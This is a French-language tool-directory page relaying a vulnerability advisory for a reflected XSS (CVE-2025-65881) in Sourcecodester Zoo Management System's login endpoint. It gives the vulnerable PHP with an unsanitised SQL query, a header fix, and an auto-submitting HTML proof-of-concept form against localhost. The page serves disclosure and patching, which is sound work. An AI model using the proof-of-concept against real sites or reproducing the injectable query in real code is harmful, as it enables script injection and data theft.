Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-65881 — Sourcecodester Zoo Management System v1.0 est vulnérable à un script intersites (XSS) dans /classes/Login.php en raison d'un Content-Type invalide. | Kitploit
Outils/GitHubGitHub/mmakingdom/cve-2025-65881
Analyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubmmakingdom/cve-2025-65881

CVE-2025-65881

Sourcecodester Zoo Management System v1.0 est vulnérable à un script intersites (XSS) dans /classes/Login.php en raison d'un Content-Type invalide.

Voir le dépôt
2il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-65881

Le projet Zoo Management System v1.00 est vulnérable à une injection de scripts intersites (XSS) sur /zms/classes/Login.php?f=login en raison de :

  1. Content-type invalide des réponses JSON sur /zms/classes/Login.php?f=login
  2. Entrées utilisateur non assainies dans les réponses

Permettant à des attaquants non authentifiés d'injecter du HTML/JS malveillant qui s'exécute dans le navigateur des victimes.

Fichier affecté et code vulnérable

/zms/classes/Login.php

root@kitploit:~
return json_encode(array(
    'status' => 'incorrect',
    'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));

Cause racine

  1. Le point de terminaison ne définit pas le type de contenu sur application/json.
  2. Le paramètre $username n'est pas assaini lorsqu'il est utilisé dans les requêtes SQL ou lorsqu'il est reflété dans la réponse, Ce même défaut a précédemment conduit à une vulnérabilité d'injection SQL (CVE-2025-7160)

Correctif

Ajoutez cette ligne dans la fonction login() :

root@kitploit:~
public function login(){
		header('Content-Type: application/json; charset=utf-8');
		extract($_POST);

header

Preuve de concept

root@kitploit:~
<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="http://localhost/zms/classes/Login.php?f=login" method="post">
      <input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
    <input type="hidden" name="password" value="awdawda" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

XSS

Références

Le code source peut être téléchargé gratuitement ici :

https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html

Crédit

Muntadhar M. Ahmed (almuntadhar0x01)

Télécharger l’outil